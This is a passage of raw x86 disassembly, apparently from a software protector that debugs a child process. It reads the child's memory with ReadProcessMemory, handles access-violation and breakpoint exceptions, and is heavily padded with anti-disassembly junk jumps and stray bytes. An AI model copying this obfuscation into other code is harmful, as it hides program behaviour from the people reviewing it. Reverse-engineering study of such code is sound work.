; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BA4A6:				; CODE XREF: .text:004BA497j
		xor	eax, eax
		jz	short loc_4BA49C


loc_4BA4AA:				; CODE XREF: .text:004BA4A3j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BA490


loc_4BA4B3:				; CODE XREF: .text:loc_4BA490j
					; .text:004BA525j
		jmp	near ptr 92B24219h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		push	0
		push	2
		lea	eax, [ebp-0D24h]
		push	eax
		mov	ecx, [ebp-0D20h]
		push	ecx
		mov	edx, dword_4F4750
		mov	eax, [edx]
		push	eax
		call	dword_4ED0D0	; ReadProcessMemory
		test	eax, eax
		jz	short loc_4BA50A
		mov	ecx, [ebp-0D24h]
		and	ecx, 0FFFFh
		cmp	ecx, 5A4Dh
		jz	short loc_4BA50A
		mov	edx, dword_4F4768
		shl	edx, 0Ch
		mov	eax, dword_4F4754
		add	eax, edx
		mov	dword_4F4754, eax


loc_4BA50A:				; CODE XREF: .text:004BA4DFj
					; .text:004BA4F3j
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BA541 ; CODE	XREF: .text:loc_4BA541j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BA519:				; CODE XREF: .text:004BA53Aj
		jmp	short loc_4BA538
; ---------------------------------------------------------------------------


loc_4BA51B:				; CODE XREF: .text:loc_4BA538j
		xor	ecx, ecx


loc_4BA51D:				; CODE XREF: .text:004BA52Cj
		jz	short $+2
		jmp	short loc_4BA531
; ---------------------------------------------------------------------------


loc_4BA521:				; CODE XREF: .text:004BA535j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BA4B3+4
		jmp	short loc_4BA52E
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BA52A:				; CODE XREF: .text:loc_4BA52Ej
		jmp	short loc_4BA53C
; ---------------------------------------------------------------------------
		jz	short loc_4BA51D


loc_4BA52E:				; CODE XREF: .text:004BA527j
		jnb	short loc_4BA52A
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BA531:				; CODE XREF: .text:004BA51Fj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BA521
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BA538:				; CODE XREF: .text:loc_4BA519j
		jmp	short loc_4BA51B
; ---------------------------------------------------------------------------
		jmp	short loc_4BA519
; ---------------------------------------------------------------------------


loc_4BA53C:				; CODE XREF: .text:loc_4BA52Aj
		repne sbb al, 0DBh
		jmp	short loc_4BA544
; ---------------------------------------------------------------------------


loc_4BA541:				; CODE XREF: .text:004BA514j
		jmp	short near ptr loc_4BA514+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BA544:				; CODE XREF: .text:004BA53Fj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx


loc_4BA54E:				; CODE XREF: .text:004BA401j
		mov	dword ptr [ebp-0A34h], 10002h


loc_4BA558:				; CODE XREF: .text:004BA2AAj
					; .text:004BA2BCj ...
		jmp	loc_4BB66A
; ---------------------------------------------------------------------------


loc_4BA55D:				; CODE XREF: .text:004B9E89j
					; .text:004B9EA1j
		mov	ecx, dword_4ED418
		xor	ecx, 0C0000005h
		cmp	[ebp-0A38h], ecx
		jnz	loc_4BAA07
		jo	short loc_4BA57E
		jl	short loc_4BA57C


loc_4BA579:				; CODE XREF: .text:loc_4BA57Cj
					; .text:loc_4BA57Ej
		jmp	short loc_4BA580
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BA57C:				; CODE XREF: .text:004BA577j
		jz	short loc_4BA579


loc_4BA57E:				; CODE XREF: .text:004BA575j
		jmp	short loc_4BA579
; ---------------------------------------------------------------------------


loc_4BA580:				; CODE XREF: .text:loc_4BA579j
		mov	eax, [ebp-0A30h]
		mov	ecx, [eax+18h]
		mov	[ebp-0D2Ch], ecx
		mov	dword ptr [ebp-0D28h], 0
		xor	edx, edx
		mov	dl, byte_4F4780
		test	edx, edx
		jnz	loc_4BA928
		xor	eax, eax
		mov	al, byte_4F4741
		test	eax, eax
		jz	loc_4BA928
		mov	ecx, [ebp-9CCh]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	loc_4BA928
		mov	edx, [ebp-0A30h]
		mov	eax, [edx+24h]
		mov	[ebp-0D34h], eax
		mov	ecx, [ebp-0D34h]
		sub	ecx, dword_4F4754
		shr	ecx, 0Ch
		mov	[ebp-0D30h], ecx
		xor	edx, edx
		mov	dl, byte_4F4742
		test	edx, edx
		jz	loc_4BA7D2
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BA623


loc_4BA620:				; CODE XREF: .text:004BA641j
		jmp	short near ptr loc_4BA643+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BA623:				; CODE XREF: .text:004BA61Ej
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BA636
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BA62C:				; CODE XREF: .text:004BA638j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BA63A
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BA636:				; CODE XREF: .text:004BA627j
		xor	eax, eax
		jz	short loc_4BA62C


loc_4BA63A:				; CODE XREF: .text:004BA633j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BA620


loc_4BA643:				; CODE XREF: .text:loc_4BA620j
		jmp	near ptr 92B243A9h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	eax, [ebp-0D30h]
		sub	eax, 1
		test	eax, eax
		jl	short loc_4BA6D8
		push	1
		mov	ecx, [ebp-0D30h]
		xor	edx, edx
		mov	dl, byte_4F1F77[ecx]
		mov	eax, [ebp-0D30h]
		xor	ecx, ecx
		mov	cl, byte_4F1F78[eax]
		mov	esi, dword_4ED3A8[edx*4]
		xor	esi, dword_4ED3A8[ecx*4]


loc_4BA685:				; CODE XREF: .text:004BA6F3j
		mov	edx, [ebp-0D30h]
		xor	eax, eax
		mov	al, byte_4F1F79[edx]
		xor	esi, dword_4ED3A8[eax*4]
		mov	eax, [ebp-0D30h]
		sub	eax, 1
		cdq
		mov	ecx, 1Ch
		idiv	ecx
		mov	ecx, edx
		shr	esi, cl
		and	esi, 0Fh
		mov	edx, [ebp-0D30h]
		lea	eax, [edx+esi-10h]
		mov	ecx, dword_4F474C
		lea	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp-0D30h]
		sub	eax, 1
		push	eax
		call	loc_4BC15F
		add	esp, 0Ch


loc_4BA6D8:				; CODE XREF: .text:004BA657j
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BA70F ; CODE	XREF: .text:loc_4BA70Fj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BA6E7:				; CODE XREF: .text:004BA708j
		jmp	short loc_4BA706
; ---------------------------------------------------------------------------


loc_4BA6E9:				; CODE XREF: .text:loc_4BA706j
		xor	ecx, ecx


loc_4BA6EB:				; CODE XREF: .text:004BA6FAj
		jz	short $+2
		jmp	short loc_4BA6FF
; ---------------------------------------------------------------------------


loc_4BA6EF:				; CODE XREF: .text:004BA703j
		stc
		xor	ecx, 3
		jz	short loc_4BA685
		jmp	short loc_4BA6FC
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BA6F8:				; CODE XREF: .text:loc_4BA6FCj
		jmp	short loc_4BA70A
; ---------------------------------------------------------------------------
		jz	short loc_4BA6EB


loc_4BA6FC:				; CODE XREF: .text:004BA6F5j
		jnb	short loc_4BA6F8
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BA6FF:				; CODE XREF: .text:004BA6EDj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BA6EF
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BA706:				; CODE XREF: .text:loc_4BA6E7j
		jmp	short loc_4BA6E9
; ---------------------------------------------------------------------------
		jmp	short loc_4BA6E7
; ---------------------------------------------------------------------------


loc_4BA70A:				; CODE XREF: .text:loc_4BA6F8j
		repne sbb al, 0DBh
		jmp	short loc_4BA712
; ---------------------------------------------------------------------------


loc_4BA70F:				; CODE XREF: .text:004BA6E2j
		jmp	short near ptr loc_4BA6E2+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BA712:				; CODE XREF: .text:004BA70Dj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	ecx, [ebp-0D30h]
		add	ecx, 1
		cmp	ecx, dword_4F4768
		jge	short loc_4BA7AC
		push	1
		mov	edx, [ebp-0D30h]
		xor	eax, eax
		mov	al, byte_4F1F79[edx]
		mov	ecx, [ebp-0D30h]
		xor	edx, edx
		mov	dl, byte_4F1F7A[ecx]
		mov	esi, dword_4ED3A8[eax*4]
		xor	esi, dword_4ED3A8[edx*4] ; CODE	XREF: .text:loc_4BA7CAj
		mov	eax, [ebp-0D30h]
		xor	ecx, ecx
		mov	cl, byte_4F1F7B[eax]
		xor	esi, dword_4ED3A8[ecx*4]
		mov	eax, [ebp-0D30h]
		add	eax, 1
		cdq
		mov	ecx, 1Ch
		idiv	ecx
		mov	ecx, edx
		shr	esi, cl
		and	esi, 0Fh
		mov	edx, [ebp-0D30h]
		lea	eax, [edx+esi+10h]
		mov	ecx, dword_4F474C
		lea	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp-0D30h]
		add	eax, 1
		push	eax
		call	loc_4BC15F
		add	esp, 0Ch


loc_4BA7AC:				; CODE XREF: .text:004BA72Bj
		pusha
		xor	eax, eax
		jnz	short loc_4BA7B3
		jmp	short loc_4BA7C8
; ---------------------------------------------------------------------------


loc_4BA7B3:				; CODE XREF: .text:004BA7AFj
		jmp	short near ptr loc_4BA7E5+3
; ---------------------------------------------------------------------------
		db 0C0h, 75h, 18h
		db 7Ah,	0Ch
; ---------------------------------------------------------------------------


loc_4BA7BA:				; CODE XREF: .text:loc_4BA7C8j
		jo	short loc_4BA7CA
		jmp	short near ptr loc_4BA7CA+1
; ---------------------------------------------------------------------------
		dw 72E8h
		dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------


loc_4BA7C8:				; CODE XREF: .text:004BA7B1j
		jz	short loc_4BA7BA


loc_4BA7CA:				; CODE XREF: .text:loc_4BA7BAj
					; .text:004BA7BCj
		jmp	short near ptr loc_4BA752+1
; ---------------------------------------------------------------------------
		dd 0A0F07ADBh
		db 33h,	61h
; ---------------------------------------------------------------------------


loc_4BA7D2:				; CODE XREF: .text:004BA5FAj
		cmp	dword ptr [ebp-0D30h], 0
		jl	loc_4BA910
		mov	ecx, [ebp-0D30h]


loc_4BA7E5:				; CODE XREF: .text:loc_4BA7B3j
		cmp	ecx, dword_4F4768
		jge	loc_4BA910
		push	0
		mov	esi, [ebp-0D30h]
		shl	esi, 4
		mov	edx, [ebp-0D30h]
		and	edx, 80000007h
		jns	short loc_4BA80F
		dec	edx
		or	edx, 0FFFFFFF8h
		inc	edx


loc_4BA80F:				; CODE XREF: .text:004BA808j
		xor	eax, eax
		mov	al, byte_4F1F78[edx]
		mov	ecx, [ebp-0D30h]
		and	ecx, 80000007h
		jns	short loc_4BA82A
		dec	ecx
		or	ecx, 0FFFFFFF8h
		inc	ecx


loc_4BA82A:				; CODE XREF: .text:004BA823j
		xor	edx, edx
		mov	dl, byte_4F1F79[ecx]
		mov	edi, dword_4ED3A8[eax*4]
		xor	edi, dword_4ED3A8[edx*4]
		mov	eax, [ebp-0D30h] ; CODE	XREF: .text:loc_4BA8B8j
		and	eax, 80000007h
		jns	short loc_4BA852
		dec	eax
		or	eax, 0FFFFFFF8h
		inc	eax


loc_4BA852:				; CODE XREF: .text:004BA84Bj
		xor	ecx, ecx
		mov	cl, byte_4F1F7A[eax]
		xor	edi, dword_4ED3A8[ecx*4]
		mov	eax, [ebp-0D30h]
		cdq
		mov	ecx, 1Ch
		idiv	ecx
		mov	ecx, edx
		shr	edi, cl
		and	edi, 0Fh
		add	esi, edi	; CODE XREF: .text:004BA8E5j
		mov	edx, dword_4F474C
		lea	eax, [edx+esi*4]
		push	eax
		mov	ecx, [ebp-0D30h]
		push	ecx
		call	loc_4BC15F
		add	esp, 0Ch
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4BA910
		pusha
		xor	eax, eax
		jnz	short loc_4BA8A1
		jmp	short loc_4BA8B6
; ---------------------------------------------------------------------------


loc_4BA8A1:				; CODE XREF: .text:004BA89Dj
		jmp	short loc_4BA8D6
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4BA8A8:				; CODE XREF: .text:loc_4BA8B6j
		jo	short loc_4BA8B8
		jmp	short near ptr loc_4BA8B8+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4BA8BF


loc_4BA8B6:				; CODE XREF: .text:004BA89Fj
		jz	short loc_4BA8A8


loc_4BA8B8:				; CODE XREF: .text:loc_4BA8A8j
					; .text:004BA8AAj
		jmp	short near ptr loc_4BA840+1
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4BA8BF:				; CODE XREF: .text:004BA8B4j
		popa
		mov	dword ptr [ebp-0A34h], 10002h
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BA901 ; CODE	XREF: .text:loc_4BA901j
; ---------------------------------------------------------------------------


loc_4BA8D6:				; CODE XREF: .text:loc_4BA8A1j
		sal	byte ptr [eax+0Eh], cl


loc_4BA8D9:				; CODE XREF: .text:004BA8FAj
		jmp	short loc_4BA8F8
; ---------------------------------------------------------------------------


loc_4BA8DB:				; CODE XREF: .text:loc_4BA8F8j
		xor	ecx, ecx


loc_4BA8DD:				; CODE XREF: .text:004BA8ECj
		jz	short $+2
		jmp	short loc_4BA8F1
; ---------------------------------------------------------------------------


loc_4BA8E1:				; CODE XREF: .text:004BA8F5j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BA876+1
		jmp	short loc_4BA8EE
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BA8EA:				; CODE XREF: .text:loc_4BA8EEj
		jmp	short loc_4BA8FC
; ---------------------------------------------------------------------------
		jz	short loc_4BA8DD


loc_4BA8EE:				; CODE XREF: .text:004BA8E7j
		jnb	short loc_4BA8EA
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BA8F1:				; CODE XREF: .text:004BA8DFj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BA8E1
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BA8F8:				; CODE XREF: .text:loc_4BA8D9j
		jmp	short loc_4BA8DB
; ---------------------------------------------------------------------------
		jmp	short loc_4BA8D9
; ---------------------------------------------------------------------------


loc_4BA8FC:				; CODE XREF: .text:loc_4BA8EAj
		repne sbb al, 0DBh
		jmp	short loc_4BA904
; ---------------------------------------------------------------------------


loc_4BA901:				; CODE XREF: .text:004BA8D4j
		jmp	short near ptr loc_4BA8D4+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BA904:				; CODE XREF: .text:004BA8FFj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		jmp	short loc_4BA926
; ---------------------------------------------------------------------------


loc_4BA910:				; CODE XREF: .text:004BA7D9j
					; .text:004BA7EBj ...
		mov	edx, [ebp-0A30h]
		cmp	dword ptr [edx+5Ch], 0
		jnz	short loc_4BA926
		mov	dword ptr [ebp-0D28h], 1


loc_4BA926:				; CODE XREF: .text:004BA90Ej
					; .text:004BA91Aj
		jmp	short loc_4BA93E
; ---------------------------------------------------------------------------


loc_4BA928:				; CODE XREF: .text:004BA5A3j
					; .text:004BA5B2j ...
		mov	eax, [ebp-0A30h]
		cmp	dword ptr [eax+5Ch], 0
		jnz	short loc_4BA93E
		mov	dword ptr [ebp-0D28h], 1


loc_4BA93E:				; CODE XREF: .text:loc_4BA926j
					; .text:004BA932j
		cmp	dword ptr [ebp-0D28h], 0
		jz	loc_4BAA02
		mov	ecx, [ebp-210h]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	loc_4BAA02
		jo	short loc_4BA968
		jl	short loc_4BA966


loc_4BA963:				; CODE XREF: .text:loc_4BA966j
					; .text:loc_4BA968j
		jmp	short loc_4BA96A
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BA966:				; CODE XREF: .text:004BA961j
		jz	short loc_4BA963


loc_4BA968:				; CODE XREF: .text:004BA95Fj
		jmp	short loc_4BA963
; ---------------------------------------------------------------------------


loc_4BA96A:				; CODE XREF: .text:loc_4BA963j
		mov	edx, [ebp-0A30h]
		mov	eax, [edx+18h]
		mov	[ebp-1140h], eax
		mov	ecx, [ebp-0A30h]
		mov	edx, [ecx+24h]
		mov	[ebp-0D38h], edx
		mov	eax, [ebp-0A30h]
		xor	ecx, ecx
		cmp	dword ptr [eax+20h], 0
		setnz	cl
		mov	[ebp-0D3Ch], cl
		mov	edx, [ebp-0D3Ch]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4BA9B9
		mov	dword ptr [ebp-1AA4h], offset aWriteTo ; "write	to"
		jmp	short loc_4BA9C3
; ---------------------------------------------------------------------------


loc_4BA9B9:				; CODE XREF: .text:004BA9ABj
		mov	dword ptr [ebp-1AA4h], offset aReadFrom	; "read	from"


loc_4BA9C3:				; CODE XREF: .text:004BA9B7j
		mov	eax, [ebp-0D38h]
		push	eax
		mov	ecx, [ebp-1AA4h]
		push	ecx
		mov	edx, [ebp-1140h]
		push	edx
		push	offset aErrorAccessVio ; "Error: Access	violation at 0x%08X (trie"...
		lea	eax, [ebp-113Ch]
		push	eax
		call	_sprintf_0
		add	esp, 14h
		push	50000h
		push	0
		lea	ecx, [ebp-113Ch]
		push	ecx
		push	0
		call	dword_4ED22C	; MessageBoxA


loc_4BAA02:				; CODE XREF: .text:004BA945j
					; .text:004BA959j
		jmp	loc_4BB66A
; ---------------------------------------------------------------------------


loc_4BAA07:				; CODE XREF: .text:004BA56Fj
		mov	edx, dword_4ED418
		xor	edx, 80000003h
		cmp	[ebp-0A38h], edx
		jnz	loc_4BB614
		mov	dword ptr [ebp-11A0h], 17h
		mov	eax, dword_4ED418
		xor	eax, dword_4ED3E4
		xor	eax, dword_4ED3D4
		mov	[ebp-119Ch], eax
		mov	ecx, dword_4ED41C
		xor	ecx, dword_4ED3FC
		xor	ecx, dword_4ED3BC
		mov	[ebp-1198h], ecx
		mov	edx, dword_4ED3F0
		xor	edx, dword_4ED420
		xor	edx, dword_4ED408
		mov	[ebp-1194h], edx
		mov	eax, dword_4ED424
		xor	eax, dword_4ED3EC
		xor	eax, dword_4ED42C
		mov	[ebp-1190h], eax
		mov	ecx, dword_4ED428
		xor	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3B8
		mov	[ebp-118Ch], ecx
		mov	edx, dword_4ED3CC
		xor	edx, dword_4ED3D8
		xor	edx, dword_4ED430
		mov	[ebp-1188h], edx
		mov	eax, dword_4ED418
		xor	eax, dword_4ED41C
		xor	eax, dword_4ED3F0
		xor	eax, dword_4ED3E0
		mov	[ebp-1184h], eax
		mov	ecx, dword_4ED3E4
		xor	ecx, dword_4ED3FC
		xor	ecx, dword_4ED420
		xor	ecx, dword_4ED3CC
		mov	[ebp-1180h], ecx
		mov	edx, dword_4ED424
		xor	edx, dword_4ED428
		xor	edx, dword_4ED3CC
		xor	edx, dword_4ED3D8
		mov	[ebp-117Ch], edx
		mov	eax, dword_4ED3EC
		xor	eax, dword_4ED3D0
		xor	eax, dword_4ED3D8
		xor	eax, dword_4ED418
		mov	[ebp-1178h], eax
		mov	ecx, dword_4ED418
		xor	ecx, dword_4ED428
		xor	ecx, dword_4ED41C
		mov	[ebp-1174h], ecx
		mov	edx, dword_4ED3E4
		xor	edx, dword_4ED3EC
		xor	edx, dword_4ED3F0
		mov	[ebp-1170h], edx
		mov	eax, dword_4ED41C
		xor	eax, dword_4ED424
		xor	eax, dword_4ED3CC
		mov	[ebp-116Ch], eax
		mov	ecx, dword_4ED3FC
		xor	ecx, dword_4ED420
		xor	ecx, dword_4ED424
		mov	[ebp-1168h], ecx
		mov	edx, dword_4ED418
		xor	edx, dword_4ED3FC
		xor	edx, dword_4ED424
		xor	edx, dword_4ED428
		mov	[ebp-1164h], edx
		mov	eax, dword_4ED3E4
		xor	eax, dword_4ED3F0
		xor	eax, dword_4ED3EC
		xor	eax, dword_4ED3D0
		mov	[ebp-1160h], eax
		mov	ecx, dword_4ED3E4
		xor	ecx, dword_4ED3FC
		xor	ecx, dword_4ED420
		xor	ecx, dword_4ED3CC
		mov	[ebp-115Ch], ecx
		mov	edx, dword_4ED424
		xor	edx, dword_4ED428
		xor	edx, dword_4ED3CC
		xor	edx, dword_4ED3D8
		mov	[ebp-1158h], edx
		mov	eax, dword_4ED3EC
		xor	eax, dword_4ED3D0
		xor	eax, dword_4ED3D8
		xor	eax, dword_4ED418
		mov	[ebp-1154h], eax
		mov	ecx, dword_4ED418
		xor	ecx, dword_4ED428
		xor	ecx, dword_4ED41C
		mov	[ebp-1150h], ecx
		mov	edx, dword_4ED3E4
		xor	edx, dword_4ED3EC
		xor	edx, dword_4ED3F0
		mov	[ebp-114Ch], edx
		mov	eax, dword_4ED41C
		xor	eax, dword_4ED424
		xor	eax, dword_4ED3CC
		mov	[ebp-1148h], eax
		mov	ecx, dword_4ED3AC
		xor	ecx, dword_4ED420
		xor	ecx, dword_4ED424
		mov	[ebp-1144h], ecx
		xor	edx, edx
		mov	dl, byte_4F4743
		test	edx, edx
		jz	loc_4BB608
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BACB2


loc_4BACAF:				; CODE XREF: .text:004BACD0j
		jmp	short near ptr loc_4BACD2+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BACB2:				; CODE XREF: .text:004BACADj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BACC5
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BACBB:				; CODE XREF: .text:004BACC7j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BACC9
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BACC5:				; CODE XREF: .text:004BACB6j
		xor	eax, eax
		jz	short loc_4BACBB


loc_4BACC9:				; CODE XREF: .text:004BACC2j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BACAF


loc_4BACD2:				; CODE XREF: .text:loc_4BACAFj
		jmp	near ptr 92B24A38h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		cmp	dword_4F4784, 0
		jnz	loc_4BB11C
		mov	eax, dword_4F4764
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_4BB11C
		mov	ecx, dword_4F4764
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_4C85E1
		add	esp, 4		; CODE XREF: .text:loc_4BAD7Ej
		mov	[ebp-18FCh], eax
		mov	eax, [ebp-18FCh]
		mov	dword_4F4784, eax
		jo	short loc_4BAD23
		jl	short loc_4BAD21


loc_4BAD1E:				; CODE XREF: .text:loc_4BAD21j
					; .text:loc_4BAD23j
		jmp	short loc_4BAD25
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BAD21:				; CODE XREF: .text:004BAD1Cj
		jz	short loc_4BAD1E


loc_4BAD23:				; CODE XREF: .text:004BAD1Aj
		jmp	short loc_4BAD1E
; ---------------------------------------------------------------------------


loc_4BAD25:				; CODE XREF: .text:loc_4BAD1Ej
		mov	dword ptr [ebp-11A8h], 0
		lea	ecx, [ebp-11A8h]
		push	ecx
		mov	edx, dword_4F4764
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, dword_4F4784
		push	ecx
		mov	edx, dword_4F4764
		mov	eax, [edx+8]
		push	eax
		mov	ecx, dword_4F4750
		mov	edx, [ecx]
		push	edx
		call	dword_4ED0D0	; ReadProcessMemory
		pusha
		xor	eax, eax
		jnz	short loc_4BAD67
		jmp	short loc_4BAD7C
; ---------------------------------------------------------------------------


loc_4BAD67:				; CODE XREF: .text:004BAD63j
		jmp	short loc_4BAD9C
; ---------------------------------------------------------------------------
		db 0C0h, 75h, 18h
		db 7Ah,	0Ch
; ---------------------------------------------------------------------------


loc_4BAD6E:				; CODE XREF: .text:loc_4BAD7Cj
		jo	short loc_4BAD7E
		jmp	short near ptr loc_4BAD7E+1
; ---------------------------------------------------------------------------
		dw 72E8h
		dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------


loc_4BAD7C:				; CODE XREF: .text:004BAD65j
		jz	short loc_4BAD6E


loc_4BAD7E:				; CODE XREF: .text:loc_4BAD6Ej
					; .text:004BAD70j
		jmp	short near ptr loc_4BAD06+1
; ---------------------------------------------------------------------------
		dd 0A0F07ADBh, 64A16133h, 8B004F47h, 0E8830C40h, 0B9D23378h
		dd 0Dh,	0E883F1F7h
; ---------------------------------------------------------------------------


loc_4BAD9C:				; CODE XREF: .text:loc_4BAD67j
		add	dword_4F4788[ebx], esp
		mov	edx, dword_4F4784
		mov	[ebp-11A4h], edx
		mov	dword ptr [ebp-11ACh], 0
		jmp	short loc_4BADC9
; ---------------------------------------------------------------------------


loc_4BADBA:				; CODE XREF: .text:004BADF6j
		mov	eax, [ebp-11ACh]
		add	eax, 1
		mov	[ebp-11ACh], eax


loc_4BADC9:				; CODE XREF: .text:004BADB8j
		cmp	dword ptr [ebp-11ACh], 1Eh
		jnb	short loc_4BADF8 ; CODE	XREF: .text:loc_4BAE48j
		mov	ecx, [ebp-11ACh]
		mov	edx, [ebp-11A4h]
		mov	eax, [edx]
		mov	dword_4F45C8[ecx*4], eax
		mov	ecx, [ebp-11A4h]
		add	ecx, 4
		mov	[ebp-11A4h], ecx
		jmp	short loc_4BADBA
; ---------------------------------------------------------------------------


loc_4BADF8:				; CODE XREF: .text:004BADD0j
		mov	dword ptr [ebp-11B4h], 0
		mov	dword ptr [ebp-11B0h], 0
		jmp	short loc_4BAE1D
; ---------------------------------------------------------------------------


loc_4BAE0E:				; CODE XREF: .text:004BB0D6j
		mov	edx, [ebp-11B0h]
		add	edx, 1
		mov	[ebp-11B0h], edx


loc_4BAE1D:				; CODE XREF: .text:004BAE0Cj
		cmp	dword ptr [ebp-11B0h], 1Eh
		jnb	loc_4BB0DB
		pusha
		xor	eax, eax
		jnz	short loc_4BAE31
		jmp	short loc_4BAE46
; ---------------------------------------------------------------------------


loc_4BAE31:				; CODE XREF: .text:004BAE2Dj
		jmp	short loc_4BAE66
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4BAE38:				; CODE XREF: .text:loc_4BAE46j
		jo	short loc_4BAE48
		jmp	short near ptr loc_4BAE48+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4BAE4F


loc_4BAE46:				; CODE XREF: .text:004BAE2Fj
		jz	short loc_4BAE38


loc_4BAE48:				; CODE XREF: .text:loc_4BAE38j
					; .text:004BAE3Aj
		jmp	short near ptr loc_4BADD0+1
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4BAE4F:				; CODE XREF: .text:004BAE44j
		popa
		mov	eax, [ebp-11B0h]
		mov	ecx, dword_4F45C8[eax*4]
		shl	ecx, 2
		push	ecx
		call	sub_4C85E1


loc_4BAE66:				; CODE XREF: .text:loc_4BAE31j
		add	esp, 4
		mov	[ebp-1900h], eax
		mov	edx, [ebp-11B0h]
		mov	eax, [ebp-1900h]
		mov	dword_4F4530[edx*4], eax
		mov	ecx, [ebp-11B0h]
		mov	edx, dword_4F45C8[ecx*4]
		shl	edx, 2
		push	edx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-1904h], eax
		mov	eax, [ebp-11B0h]
		mov	ecx, [ebp-1904h]
		mov	dword_4F4640[eax*4], ecx
		mov	edx, [ebp-11B0h]
		mov	eax, dword_4F45C8[edx*4]
		push	eax


loc_4BAEC2:				; CODE XREF: .text:004BAF30j
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-1908h], eax
		mov	ecx, [ebp-11B0h]
		mov	edx, [ebp-1908h]
		mov	dword_4F46C0[ecx*4], edx
		mov	eax, [ebp-11B0h]
